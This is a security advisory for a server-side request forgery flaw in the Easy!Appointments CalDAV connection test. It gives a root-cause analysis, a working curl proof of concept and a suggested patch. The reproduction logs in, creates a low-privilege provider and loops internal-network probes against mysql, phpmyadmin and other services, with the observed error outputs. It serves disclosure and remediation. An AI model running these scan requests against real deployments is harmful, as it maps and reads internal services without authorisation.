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| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| alextselegidis/easyappointments | composer | <= 1.5.2 |
Miggo AIRoot Cause AnalysisThe vulnerability is a Server-Side Request Forgery (SSRF) within the CalDAV connection testing functionality. The root cause is insufficient validation of the caldav_url parameter provided by a logged-in user. The application fails to check if the provided URL points to a private or reserved network address. The vulnerable flow starts in the Caldav::connect_to_server controller, which takes the user's URL and passes it to the Caldav_sync library. The Caldav_sync::get_http_client function then uses this URL as the base_uri for a Guzzle HTTP client, performing a request to the specified address. This allows an attacker to scan the internal network, connect to internal services, and exfiltrate limited information (up to ~120 bytes of the response body or connection error details) through the exception messages that were being reflected back to the user. The patch addresses this by introducing a new function, assert_safe_caldav_url, which resolves the hostname to an IP and validates it against private and reserved ranges, and by replacing the detailed exception messages with generic error responses.
Caldav::connect_to_serverapplication/controllers/Caldav.php
Caldav_sync::get_http_clientapplication/libraries/Caldav_sync.php
Caldav_sync::test_connectionapplication/libraries/Caldav_sync.php
The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Setup
Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
Run the console installer. The seed sets administrator's password to the literal string administrator (application/libraries/Instance.php:99):
docker compose exec -T php-fpm php index.php console install
Log in as administrator (the project's session cookie is ea_session) and create an attacker provider. The default require_phone_number=1 setting makes phone_number mandatory:
export ADMIN_JAR=/tmp/admin.cookies
curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=administrator" \
--data-urlencode "password=administrator" > /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode 'provider[first_name]=Mal' \
--data-urlencode 'provider[last_name]=Lory' \
--data-urlencode 'provider[email]=mallory@x.test' \
--data-urlencode 'provider[phone_number]=+10000000000' \
--data-urlencode 'provider[timezone]=UTC' \
--data-urlencode 'provider[language]=english' \
--data-urlencode 'provider[settings][username]=mallory' \
--data-urlencode 'provider[settings][password]=Attacker-pw-1' \
--data-urlencode 'provider[settings][notifications]=0'
export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
-e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
Log in as the attacker into a dedicated cookie jar:
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
The attacker probes the nginx container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own $ATTACKER_ID so the row-ownership check at Caldav.php:52 succeeds; the URL has nothing to do with the row:
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://nginx/some/404/path" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http://nginx/some/404/path/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n<html lang="en" style="\n height: 100%;\n">\n<head>\n <meta charset="utf-8">\n <meta http-equiv="X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.
The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:
for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
printf '\n=== %s ===\n' "$target"
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://$target/" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
done
Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: <html>\r\n<head><title>405 Not Allowed</title>...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.
php-fpm container, including loopback, the docker network's mysql, mailpit, phpmyadmin, baikal, openldap services, and any RFC1918 / link-local IP on the host network.message field, enough to fingerprint internal services and read short error pages, banners, or status documents.This has not been tested - it is illustrative only.
Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.
$caldav_url = request('caldav_url');
+
+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ throw new InvalidArgumentException('CalDAV URL is not allowed.');
+ }
+
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);
Dredsen, 2026.